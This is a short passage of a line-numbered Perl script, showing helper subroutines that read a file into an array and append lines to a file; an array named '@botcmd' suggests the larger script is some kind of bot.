  633.         push(@botcmd,$n);
  634. }
  635.  
  636. sub read_all_file_array()
  637. {
  638.         my $file = $_[0];
  639.         my @ret  = ();
  640.  
  641.         open(FILE,'<',$file);
  642.         while($a = <FILE>)
  643.         {
  644.                 $a =~ s/[\r\n]//g;
  645.                 push(@ret,$a);
  646.         }
  647.         close(FILE);
  648.        
  649.         return(@ret);
  650. }
  651.  
  652. sub write_to_file_array()
  653. {
  654.         my ($file,$data,$scal) = @_;
  655.         for($i = 0; $i < $scal; $i++)
  656.         {
  657.                 &write_to_file($file,$data->[$i]);
  658.         }
  659. }
  660.  
  661. sub write_to_file()
  662. {
  663.         my($file,$data) = @_;
  664.         open(FILE,'>>',$file);
  665.         print FILE $data . "\n";
  666.         close(FILE);
  667. }
  668. }